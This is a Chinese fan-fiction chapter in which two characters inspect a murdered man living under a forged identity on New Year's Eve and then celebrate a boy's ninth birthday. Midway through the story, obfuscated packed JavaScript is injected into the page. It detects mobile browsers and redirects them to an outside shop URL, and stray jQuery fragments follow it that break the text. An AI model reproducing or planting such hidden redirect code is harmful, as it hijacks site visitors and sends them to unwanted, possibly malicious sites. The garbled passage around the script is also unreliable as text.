大晦日，街上的铺子一家接一家关了板。
卷帘门拉下来，门口挂上注连绳，橘子叠在镜饼上。整条街只剩便利店还亮着，剩下的窗一扇扇黑下去。路上的人都拎着东西往家走，赶着回去过年。年越しそば（跨年荞麦面）的小店门口排着队，热气从门帘底下冒出来。
孔时雨开车往城南去。车不少，前头一长串红尾灯，慢慢挪。
收音机里在放年末的节目，主持人笑得很高兴，说着这一年辛苦了。他伸手关了。这种日子对他没什么两样，过年是别人的事。
甚尔靠在副驾上，看窗外。一个小孩被大人牵着过马路，两边各一只手，被拎着荡了一下，咯咯地笑。甚尔看了两眼，收回视线。
“今晚一个活，”孔时雨说，“验收。年前得清掉。血账不过年。”
“好。”
“到地方别乱碰。看，别动手。”
“知道。”
“看完了我问你话。看出什么算什么。”
“嗯。”
甚尔没多问。他这会儿安安静静在等活儿——身子往下滑了一截，眼睛半阖着，话也省了。
车往前挪。外头家家窗里透出暖光，他们俩往相反的方向去。
——
关板的古董店，夹在一条老商店街中段。街上没人，路灯零零落落，光影发暗。
侧门虚掩着。孔时雨推门进去，甚尔跟在后头。
里头很冷，没开暖气，一阵旧东西的味道扑过来——木头、樟脑、积年的灰。墙边立着几只桐木箱，柜台上摆着没收走的茶碗、旧挂轴，都蒙了灰。墙上一张去年的月历，翻到一半没再翻。小炉子上搁着个铝壶，凉的。
这地方是个壳。开古董铺的，多半东西是真，少半是假，掺着卖。一个在道上跑的人，得有张白天的脸。孔时雨这种人最懂。
路灯从卷帘门的缝里漏进来，在地上划出几道白。他没开灯，这点光够了。
里屋地上躺着个人。
死透了，凉了。脸朝下，一条胳膊压在身底下，姿势别扭。
“来。”
甚尔走过去，蹲下。孔时雨在他旁边蹲下。
“看出什么没有？”
甚尔没急着说。他先闻。血干了，铁锈味压在樟脑底下，淡淡的。又看地上——从后头那道门到这儿，一道浅浅的拖痕，灰被蹭开了。
“……不是在这屋里动的手。”他说，“外头干的，拖进来的。从后门。”
“一个人？”
“两道脚印，一深一浅，一边使劲。”甚尔说，“一个人拖不利索。”
孔时雨点点头。这答案利索。
“为什么拖进来？”甚尔问。
“外头干的，怕人看见，拖回他自己屋里。等人发现，是在他家，反倒乱了线。”孔时雨说，“干这种事的，爱给你添一道弯。”
“还有？”
甚尔不说了。他不知道。
“死了快一天。”孔时雨说，“天冷，凉得慢，看僵的程度。这个你现在记不住，看多了自己有数。”
他拿起那人一只手，翻过来。
“纸上写他六十，开古董铺的。”他捏了捏虎口，又摁了摁那层茧，“老茧在这儿、这儿。常年握东西的手——刀，或者枪。指节也粗，断过又长上的。卖古董的手不长这样。”
甚尔伸手，也捏了捏那虎口。学他的样子。
孔时雨瞥了他一眼，没说话。
“再看这儿。”他翻起那几根手指，指尖的纹路糊成一片，像烫过，“烧过，指纹没了。还有牙——”他抬了抬那人下巴，“补过一颗，做得挺好。脸大概也修过。这人，被人重新做了一遍，换张脸活着。”
“为什么烧指头？”
“不想让人知道他原来是谁。”
“知道了会怎么样？”
孔时雨看了那张脸一眼。
“会有人来收他。”他说，“收了二十年，今天收着了。”
甚尔站起来，在屋里转了一圈。柜台后头一只瓷杯，插着支没用完的牙刷。墙角一床卷起的被褥，叠得方方正正。这人就住这儿，守着一铺子半真半假的旧货，过了二十年。
“他一个人住。”甚尔说。
“嗯。”孔时雨说。
柜台抽屉没锁。孔时雨拉开，里头压着一沓东西。户籍誊本，旧名刺，几张发黄的纸。
他抽出来，借着外头的光扫了扫。
死在战时的祖父，一个出生没几天就夭折的姑姑，一间早些年烧没了的老宅，一脉绝了，连个八竿子打不着的远亲都没有。
顺着哪条线查，都查得到东西。又都查不到一个活人来对质。
孔时雨看着那张纸，半晌没动。
他认得这套手艺。
一年前，京都，一张绿绒桌布。他坐在对面，看着一模一样的一套——死了的爷爷，烧没的老宅，绝了的户——被人一笔一画填进表格。
死一回，活一回。积德还是造孽。
孔时雨从内袋摸出烟，塑料打火机“咔哒”一声点上。
抽屉最里头压着张照片，旧了，边角卷起。一个年轻男人站在水边，笑着，跟地上这张脸对不上，又对得上。
烧了指头、换了脸、把过去拆得干干净净的人，到底留了这么一张。
孔时雨看了一眼，把照片按原样压回去，关上抽屉。
“人对，活干净，没尾巴。”他站起来，掏出手机，报了个数，挂了。
烟在柜台沿上摁灭。
“还行。”他说，“走了，甚尔。”
甚尔最后看了那人一眼，站起来跟上。
——
出来，商店街还是没人。
两人上车。开出去没多远，挡风玻璃上落了点白的，化了。又一点。
雪。
今年东京头一场。
孔时雨拨了一下雨刷。雪粒子打在玻璃上，被扫开，又落上来。
“刚才那个，”他打着方向盘，“怎么死的？”
“喉咙。”甚尔看着窗外的雪，“侧面，一刀。很深，一下就完了。”
“活儿干得不差，手挺稳。”
“嗯。”
“疼吗？”甚尔问。
孔时雨偏头看了他一眼。
“那一下，来不及疼。”
甚尔点点头，又看雪去了。
路上空了。家家亮着灯，街上没车。雪落在路灯底下，一小片一小片地亮，落到地上就化了，留不住。
甚尔靠着车窗看雪，哈出的气在玻璃上糊了一小片，又抬手擦掉。
路过一家还开着的便利店，整条街就它亮着。孔时雨把车靠边。
“等着。”
甚尔留在车里，看那扇亮堂堂的玻璃门。有人进去，又出来，拎着关东煮，缩着脖子小跑。
孔时雨回来，手里拎个袋子，肩上落了点雪，进了车一化，湿一小片。
“买什么？”
“蛋糕。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646569|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“哈……”
孔时雨发动车，开了暖气。
“你生日吧？”
甚尔没说话。雪在外头下着。他把车窗摇下来一半，伸出半张脸去。
前前后后没什么车，孔时雨没阻止。
——
到家，孔时雨把蛋糕从盒里端出来，搁在桌上。便利店的草莓蛋糕，巴掌大，路上颠得有点歪，奶油蹭到了盒盖上。盒里附了块塑料插牌，印着“おたんじょうび おめでとう”（生日快乐），还有一小包细蜡烛。
他把插牌戳上去。
俩人坐下来，对着那个蛋糕。
谁也没动。蛋糕上那块塑料牌歪歪地立着，烫金的字在灯下闪。
孔时雨忽然发现自己不知道下一步该干什么。这种事在他这少有，小时候干过，大了就没有了。
“……叫翔太来？”他说，“或者要不去顺子那儿。”
“这样就行。”甚尔说。
孔时雨“阿一西”了一声，也说不清在烦什么。
他把那包蜡烛插上，九支把小蛋糕插满了。打火机点上，星星点点一丛小火苗，在桌上晃。
“吹了它。”
甚尔看着那点火。
“许个愿。”
“孔，”甚尔抬头看他，“许什么？”
孔时雨想了想，发现自己也说不上来。出门看一眼运势、红事白事图个吉利，这个他还信。可真要许愿，许什么，他也答不上来。
“……随便。心里想个事就行。”
甚尔又看了会儿蜡烛。不知道想没想。
吹了。
屋里暗了一下，蜡烟的味道散开一点，又是灯的光。
电视开着，红白歌会。台上一个女歌手在唱，底下一片荧光棒晃。
俩人坐着看。孔时雨切了蛋糕，一人一块，叉子是便利店给的塑料的。
“挺好吃的。”甚尔说。
“便利店的，还行吧。”
两个人就这么看着。台上一年一年都是这些人这些歌，孔时雨一首也叫不上名字。甚尔把盘子里最后一点奶油刮干净，舔了舔叉子。
红白唱到一半，换了拨人上来，是个老牌歌星，台下喊得厉害。
“明天去初詣？”孔时雨说。
甚尔耸了耸肩。去不去都行。他对神社什么的没感觉。
孔时雨也没再问。蛋糕吃完，他把盒子捏扁，扔了。
电视里的人停下来，台上台下都静了静。然后钟声起来了。
除夜の鐘。一下，一下，闷闷的，隔着电视，也隔着外头的雪。
敲完一百零八下，就是新的一年了。
孔时雨站起来，从西装口袋里摸出钱包，抽出几张票子递过去。
“压岁钱。”
甚尔接了，捏在手里，没数。看那样子，像是不太清楚该拿这个怎么办。他把票子折了两折，塞进兜里。
“谢谢。”
客气上了。
孔时雨又点了根烟，靠回椅背上。
窗外雪还在下，落在阳台栏杆上，积了薄薄一层，这回没化。
他侧头看了甚尔一眼。
那个日子是他自己填进纸里的。当时海老原让他随便挑一个，避开年节假日，他说问他自己。这家伙报了今天。
烟抽得很慢。
蜡烛吹灭的时候，甚尔九岁。
后来想起来，那一年好像过得特别快。
【第二卷（1）完】